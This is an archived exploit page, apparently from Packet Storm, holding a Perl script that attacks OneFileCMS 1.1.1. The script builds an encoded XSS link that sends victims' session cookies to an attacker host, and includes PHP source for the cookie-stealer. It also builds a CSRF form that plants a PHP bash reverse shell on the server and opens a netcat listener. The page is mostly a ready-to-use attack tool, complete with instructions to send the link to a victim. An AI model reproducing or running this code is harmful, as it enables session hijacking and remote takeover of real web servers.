what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OneFileCMS 1.1.1 Code Execution

OneFileCMS 1.1.1 Code Execution
Posted Aug 21, 2011
Authored by mr.pr0n

OneFileCMS version 1.1.1 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 568916ae1bfa0785b4f38ed90417d0bd60f364698078a6fb9c0a9e5a505ebbcd

OneFileCMS 1.1.1 Code Execution

Change Mirror Download
#!/usr/bin/perl
#
# Exploit Title: OneFileCMS v.1.1.1 Remote Code Execution Exploit
# Date: 22/8/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Software Link: http://onefilecms.com/download/onefilecms_site_v1.1.1.zip
# Version: OneFileCMS v.1.1.1
# Tested on: Linux Fedora 14

use LWP::UserAgent;

print "\n |==[ mr.pr0n ]=============================================== |\n";
print " | OneFileCMS 1.1.1 - [R]emote [C]ode [E]xecution [E]xploit |\n";
print " |===================[ http://ghostinthelab.wordpress.com/ ]== |\n";

print "\nEnter the target (e.g.: http://victim.com)";
print "\n> ";
$target=<STDIN>;
chomp($target);
$target = "http://".$target if ($target !~ /^http:/);

print "Enter the OneFileCMS directory (e.g.: onefilecms)";
print "\n> ";
$dir=<STDIN>;
chomp($dir);

$target = $target."/".$dir;

menu:;
print "\n[+] Main Menu:\n";
print " 1. Steal the \"sessionid\" cookie.\n";
print " 2. Get a shell on your target.\n";
print " 3. Exit.\n" ;

print "> ";
$option=<STDIN>;
if ($option!=1 && $option!=2 && $option!=3)
{
print "Oups, wrong option.\nPlease, try again.\n";
goto menu;
}

if ($option==1)
{&cookie}
if ($option==2)
{&shell}
if ($option==3)
{&quit}

sub cookie
{
print "Enter the address of the \"stealer.php\" (e.g.: http://attacker.com/stealer.php)";
print "\n> ";
$stealer=<STDIN>;
chomp($stealer);

# -------------------------------------------------------------------------------------
# stealer.php - source code
# -------------------------------------------------------------------------------------
# <?php
# header ('Location:http://VICTIM_SERVER/onefilecms/onefilecms.php?f=index.php');
# $cookie = $_GET['cookie'];
# $log = fopen("gotit.txt", "a");
# fwrite($log, $cookie ."\n");
# fclose($log);
# ?>
# --------------------------------------------------------------------------------------

$result = "'\"><script>document.location=\"$stealer?cookie=\"+document.cookie\;</script>";
$result =~ s/(.)/sprintf("%x%",ord($1))/eg;

print "\n[+] Send this link to your victim ...\n\n";
print $target."/onefilecms.php?p=".$result."\n";
goto menu;
}

sub shell
{
print "Enter the sessionid:";
print "\n> ";
$sessionid=<STDIN>;
chomp($sessionid);

print "Enter the IP address for the reverse connection (e.g.: 192.168.178.25)";
print "\n> ";
$ip=<STDIN>;
chomp($ip);

print "Enter the port to connect back on (e.g.: 4444)";
print "\n> ";
$port=<STDIN>;
chomp($port);

$payload =
"<?php ".
"system('/bin/bash -i > /dev/tcp/$ip/$port 0\<&1 2\>&1');".
"?>";

$filename = "index_".int(rand()*1011).".php";

$csrf =
"'\"><html><body onload='document.f.submit()'>".
"<form method=post name=f action=\"$target/onefilecms.php\">".
"<input type=\"hidden\" name=\"sessionid\" value=\"$sessionid\">".
"<input type=\"hidden\" name=\"filename\" value=\"$filename\">".
"<input name=\"content\" value=\"$payload\">".
"<input type=\"submit\" name=\"Save\">".
"</form></body></html>";

$csrf =~ s/(.)/sprintf("%x%",ord($1))/eg;

print "\n[+] Send this link to your victim...\n\n";
print $target."/onefilecms.php?p=".$csrf."\n";

$nc= "nc -lvp $port";
system("xterm -e $nc &");

print "\n[+] Please be patient...\n";
while (1)
{
$int = LWP::UserAgent->new() or die;
$check=$int->get($target."/".$filename);
if ($check->content =~ m/was not found/g)
{
sleep(10);
}
}
goto menu;
}

sub quit
{
exit(1);
}
Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close